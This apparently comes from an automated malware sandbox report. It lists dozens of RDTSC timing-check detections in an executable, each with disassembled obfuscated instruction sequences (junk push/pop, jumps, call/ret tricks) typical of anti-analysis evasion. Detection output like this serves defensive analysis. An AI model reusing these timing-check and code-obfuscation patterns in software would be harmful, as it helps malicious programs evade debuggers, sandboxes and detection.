Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 410B4F second address: 410B8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6BF4B2C35Fh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d add dword ptr [esp], 65B79FEBh 0x00000014 mov dword ptr [ebp+122D23FBh], eax 0x0000001a lea ebx, dword ptr [ebp+124559A9h] 0x00000020 sub esi, dword ptr [ebp+122D3803h] 0x00000026 xchg eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F6BF4B2C35Dh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 410CF7 second address: 410CFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 410CFD second address: 410D2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C35Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e jl 00007F6BF4B2C356h 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F6BF4B2C360h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 410D2C second address: 410D30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 410D83 second address: 410DA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C365h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 410DA8 second address: 410DAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 3FC3E3 second address: 3FC401 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F6BF4B2C363h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 42F005 second address: 42F038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BF4F6515Eh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F6BF4F65167h 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 42F15B second address: 42F15F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 42F32E second address: 42F334 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 42F334 second address: 42F33A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 42F33A second address: 42F33E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 42F33E second address: 42F368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F6BF4B2C36Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 42F368 second address: 42F36C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 42F36C second address: 42F385 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C365h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 42F385 second address: 42F39F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6BF4F65162h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 42F39F second address: 42F3C0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6BF4B2C356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6BF4B2C35Fh 0x00000011 jno 00007F6BF4B2C356h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 42F666 second address: 42F677 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6BF4F65156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 42F677 second address: 42F69A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F6BF4B2C365h 0x0000000c jng 00007F6BF4B2C356h 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 42F69A second address: 42F6A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F6BF4F65156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 42F803 second address: 42F81D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C366h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 42F81D second address: 42F871 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6BF4F6515Bh 0x00000008 jnc 00007F6BF4F65156h 0x0000000e popad 0x0000000f pushad 0x00000010 ja 00007F6BF4F65156h 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F6BF4F65169h 0x0000001d popad 0x0000001e pop edx 0x0000001f pop eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push ebx 0x00000023 jmp 00007F6BF4F65164h 0x00000028 pushad 0x00000029 popad 0x0000002a pop ebx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 42F871 second address: 42F878 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 42FB38 second address: 42FB3E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 42FF8F second address: 42FF95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 42FF95 second address: 42FF9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4300BE second address: 4300C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 430240 second address: 430246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4303C6 second address: 4303CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4303CA second address: 4303D0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4303D0 second address: 4303D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4303D6 second address: 4303F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F65165h 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F6BF4F65156h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 430B5E second address: 430B64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 430B64 second address: 430B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 430B6A second address: 430B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 430E4F second address: 430E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 430E57 second address: 430E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 430E5D second address: 430E61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 430E61 second address: 430E65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4310F1 second address: 4310F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 434534 second address: 434538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 40650A second address: 406518 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6BF4F65156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 406518 second address: 40651E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 40651E second address: 406522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 406522 second address: 40652C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6BF4B2C356h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 40652C second address: 406540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F6BF4F6515Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 436B93 second address: 436B99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 436B99 second address: 436B9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 436B9D second address: 436BA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4361C5 second address: 4361D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43B691 second address: 43B697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43B697 second address: 43B6A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F6515Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43B6A9 second address: 43B6B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43BD9F second address: 43BDBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jns 00007F6BF4F6515Eh 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43BDBB second address: 43BDC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43F452 second address: 43F456 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43F456 second address: 43F45F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43F54C second address: 43F596 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007F6BF4F65169h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jno 00007F6BF4F65164h 0x00000019 popad 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push ebx 0x00000021 js 00007F6BF4F65156h 0x00000027 pop ebx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43F8AE second address: 43F8B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43FA86 second address: 43FA8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43FA8B second address: 43FA95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F6BF4B2C356h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43FBCB second address: 43FBD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43FC91 second address: 43FC9B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6BF4B2C35Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 440056 second address: 44005A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4400D1 second address: 4400D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 440339 second address: 44033F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44033F second address: 44034F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 js 00007F6BF4B2C35Eh 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4415E9 second address: 441604 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F65163h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 443C61 second address: 443CAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F6BF4B2C358h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 push 00000000h 0x00000029 mov di, 1576h 0x0000002d and si, 9470h 0x00000032 push 00000000h 0x00000034 mov esi, dword ptr [ebp+122D335Dh] 0x0000003a xchg eax, ebx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edi 0x0000003f pop edi 0x00000040 pop eax 0x00000041 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4445D7 second address: 4445DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4445DE second address: 444658 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F6BF4B2C35Fh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F6BF4B2C358h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007F6BF4B2C358h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 0000001Dh 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 mov edi, 083F6A42h 0x00000049 push 00000000h 0x0000004b movsx edi, bx 0x0000004e xchg eax, ebx 0x0000004f pushad 0x00000050 push ecx 0x00000051 je 00007F6BF4B2C356h 0x00000057 pop ecx 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 445FAE second address: 445FEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F6515Ch 0x00000007 jg 00007F6BF4F65156h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F6BF4F6515Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F6BF4F65165h 0x0000001c push esi 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 445FEA second address: 445FEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 449A8D second address: 449A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 449A91 second address: 449A95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 448C12 second address: 448C19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 449A95 second address: 449A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 449A9B second address: 449AA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 449AA1 second address: 449AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 449AA5 second address: 449B31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F65167h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jns 00007F6BF4F65163h 0x00000012 jmp 00007F6BF4F6515Dh 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007F6BF4F65158h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 mov dword ptr [ebp+122D2881h], edi 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ecx 0x0000003d call 00007F6BF4F65158h 0x00000042 pop ecx 0x00000043 mov dword ptr [esp+04h], ecx 0x00000047 add dword ptr [esp+04h], 00000015h 0x0000004f inc ecx 0x00000050 push ecx 0x00000051 ret 0x00000052 pop ecx 0x00000053 ret 0x00000054 mov ebx, dword ptr [ebp+122D336Ah] 0x0000005a push 00000000h 0x0000005c or di, 90E1h 0x00000061 mov ebx, 09C80D00h 0x00000066 xchg eax, esi 0x00000067 push ecx 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44BB30 second address: 44BB8C instructions: 0x00000000 rdtsc 0x00000002 js 00007F6BF4B2C358h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jnc 00007F6BF4B2C35Eh 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F6BF4B2C358h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e jmp 00007F6BF4B2C35Fh 0x00000033 push 00000000h 0x00000035 mov ebx, esi 0x00000037 push 00000000h 0x00000039 or edi, dword ptr [ebp+122D3B0Fh] 0x0000003f xchg eax, esi 0x00000040 push esi 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44BB8C second address: 44BB90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44BB90 second address: 44BBB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6BF4B2C367h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44BBB2 second address: 44BBB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44CA4E second address: 44CA52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44BD4E second address: 44BD52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44CA52 second address: 44CA58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44BD52 second address: 44BD56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
